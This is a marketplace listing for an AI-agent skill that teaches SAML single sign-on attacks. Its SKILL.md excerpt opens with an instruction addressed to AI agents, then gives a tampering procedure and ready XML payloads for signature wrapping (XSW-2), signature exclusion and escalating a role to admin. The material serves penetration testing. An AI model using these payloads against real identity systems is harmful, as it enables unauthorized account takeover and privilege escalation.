Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-saml-sso-assertion-attacks
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: testing
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/saml-sso-assertion-attacks
What's inside
- Skill name
saml-sso-assertion-attacks- Description
- SAML SSO assertion attacks. Use when testing SAML-based single sign-on, assertion signature validation, assertion wrapping, audience restriction evasion, ACS endpoint handling, XML parser attacks, or certificate confusion — including IdP/SP trust boundary exploitation.
- License
- Apache-2.0
- Instructions
- 351 lines in SKILL.md · view on GitHub
Files (1)
- SKILL.md
SKILL.md (first lines)
# SKILL: SAML SSO Assertion Attacks — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: SAML attack surface covers signature wrapping (XSW), signature exclusion, assertion attribute injection for privilege escalation, audience/recipient confusion, replay attacks, and XML parser vulnerabilities (XXE, XSLT) in SAML endpoints. Base models often test only signature bypass — this skill covers the full SAML trust boundary between IdP and SP.
## QUICK START
### First-pass detection
| Signal | What It Means |
|--------|---------------|
| `SAMLRequest` in URL or POST body | SP-initiated SSO flow |
| `SAMLResponse` in callback | IdP response handling |
| `/saml/callback`, `/acs`, `/sso/acs` | Assertion Consumer Service endpoint |
| `SAML2`, `Shibboleth`, `OneLogin`, `Okta`, `ADFS` headers | SAML implementation fingerprint |
### First-pass probe set
```text
1. Capture a valid SAMLResponse (authenticate normally)
2. Decode Base64 → inspect XML structure
3. Modify an attribute (e.g., role → admin) → re-encode → send
4. If accepted without error → signature not enforced on attributes
```
---
## 1. CORE CONCEPT
### SAML Flow
```
User → SP: Access protected resource
SP → User: Redirect to IdP with SAMLRequest
IdP → User: Authenticate + consent
IdP → User: POST SAMLResponse to ACS endpoint
SP: Validate assertion → create session → grant access
```
### SAML Assertion Structure
```xml
<samlp:Response ID="_123" ...>
<ds:Signature>...</ds:Signature>
<saml:Assertion ID="_456" ...>
<saml:Subject>
<saml:NameID>user@company.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<saml:Conditions NotOnOrAfter="..." NotBefore="...">
<saml:AudienceRestriction>
<saml:Audience>https://sp.example.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
</saml:Assertion>
</samlp:Response>
```
---
## 2. SIGNATURE VALIDATION BYPASS
### Signature Wrapping (XSW Attacks)
```xml
<!-- XSW-2: Move signed assertion, inject unsigned one -->
<samlp:Response ID="_123">
<!-- Attacker's unsigned assertion (processed by SP) -->
<saml:Assertion ID="evil">
<saml:Subject>
<saml:NameID>admin@company.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<!-- Original signed assertion (signature verifies but ignored) -->
<ds:Signature Reference="#_456">...</ds:Signature>
<saml:Assertion ID="_456">...</saml:Assertion>
</samlp:Response>
```
### Signature Exclusion
```xml
<!-- Remove Signature element entirely -->
<samlp:Response ID="_123">
<saml:Assertion ID="_456">
<saml:Subject>
<saml:NameID>admin@company.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- If SP doesn't require signature → assertion accepted -->
```
### Common XSW Variants
| Variant | Technique |
|---------|-----------|
| XSW-2 | Inject unsigned assertion before signed one |
| XSW-3 | Move signature to point to wrong assertion |
| XSW-4 | Wrap signed assertion inside unsigned extension |
| XSW-8 | Duplicate assertion with modified attributes |
| XSW-11 | Move signature to Response level (not Assertion) |
---
## 3. ASSERTION MANIPULATION
### Role/Group Injection
```xml
<!-- Modify AttributeStatement in captured assertion: -->From langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cors-cross-origin-misconfiguration
langbyyi
CORS misconfiguration testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9
Compare and alternatives
Featured in
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Aug 6, 2026 (2 months ago)
- Last release
- Oct 16, 2026 (13 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Cite this page
saml-sso-assertion-attacks skill. Agent Mart. https://agentmart.dev/skills/langbyyi-saml-sso-assertion-attacks (last updated 2026-10-24)